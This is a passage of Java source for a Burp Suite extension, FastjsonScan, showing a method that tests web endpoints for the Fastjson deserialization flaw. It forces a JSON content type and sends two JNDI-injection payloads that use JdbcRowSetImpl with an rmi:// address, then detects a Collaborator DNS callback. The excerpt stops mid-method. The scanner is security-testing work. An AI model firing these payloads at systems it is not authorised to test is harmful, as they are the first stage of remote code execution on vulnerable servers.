Method checkVul

FastjsonScan/src/burp/BurpExtender.java:123–188

(IHttpRequestResponse baseRequestResponse, int row)

    // baseRequestResponse：burp封装好的请求记录对象，这个对象里存储着一次请求的所有信息（请求头、url、请求方法、响应等)
    // row: 指明目前检测的是哪一行的请求记录
    public void checkVul(IHttpRequestResponse baseRequestResponse, int row){
        List<String> payloads = new ArrayList<String>();
        // 这里获得的url是完整的url
        URL url = this.helpers.analyzeRequest(baseRequestResponse).getUrl();
        // 据说这两个payload可以涵盖目前所有版本的fastjson
        payloads.add("{\"axin\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"is\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://%s/aaa\",\"autoCommit\":true}}");
        payloads.add("{\"handsome\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://%s/aaa\",\"autoCommit\":true}}");
        String method = this.helpers.analyzeRequest(baseRequestResponse).getMethod();
        // 返回的是一个字节，不同的content-type用不同的数字代表，其中4表示application/json
        byte content_type = this.helpers.analyzeRequest(baseRequestResponse).getContentType();
        // 拿到的headers是一个数组类型，每一个元素都是类似这样：Host: 127.0.0.1
        List<String> headers =  this.helpers.analyzeRequest(baseRequestResponse).getHeaders();
        try{
            if(method.equals("POST") && (content_type == IRequestInfo.CONTENT_TYPE_JSON || content_type == IRequestInfo.CONTENT_TYPE_URL_ENCODED || content_type == IRequestInfo.CONTENT_TYPE_XML)){
                IHttpService iHttpService = baseRequestResponse.getHttpService();
                IBurpCollaboratorClientContext context= this.callbacks.createBurpCollaboratorClientContext();
                // 一个burp提供的dnslog平台
                String dnslog = context.generatePayload(true);
                List<IBurpCollaboratorInteraction> dnsres = new ArrayList<>();
                this.stdout.println(dnslog);
                List<String> newHeaders = new ArrayList<>();
                // 强制替换content-type为json
                for(String header: headers){
                    if (header.startsWith("Content-Type")) {
                        newHeaders.add("Content-Type: application/json");
                    } else {
                        newHeaders.add(header);
                    }
                }
                for (String payload:payloads){
                    payload = String.format(payload, dnslog);
                    byte[] bytePayload = this.helpers.stringToBytes(payload);
                    byte[] postMessage = this.helpers.buildHttpMessage(newHeaders, bytePayload);
                    // 向目标发送payload
                    IHttpRequestResponse resp = this.callbacks.makeHttpRequest(iHttpService, postMessage);
                    // 担心目标有延迟，所有延时2秒再查看dnslog平台
                    Thread.sleep(2000);
                    // 返回的是一个数组
                    dnsres = context.fetchCollaboratorInteractionsFor(dnslog);
                    this.stdout.println(dnsres);
                    if(!dnsres.isEmpty()){
                        this.stdout.println("found!!!");
                        // 漏洞存在就更新表格中存在漏洞那一行的数据
                        LogEntry logEntry = new LogEntry(url, "finished", "vul!!!", resp);
                        log.set(row, logEntry);
                        // 这个方法是swing中的一个方法，会通知表格更新指定行的数据
                        fireTableRowsUpdated(row, row);
                        break;
                    }
                }
                if(dnsres.isEmpty()){
                    LogEntry logEntry = new LogEntry(url, "finished", "not vul", baseRequestResponse);
                    log.set(row, logEntry);
                    fireTableRowsUpdated(row, row);
                }
            }else{
                // 如果使用者将非post类型或者非特定数据类型的请求发送到fastjson scan中，则会直接提示not supporeted
                LogEntry logEntry = new LogEntry(url, "not supported", "not supported", baseRequestResponse);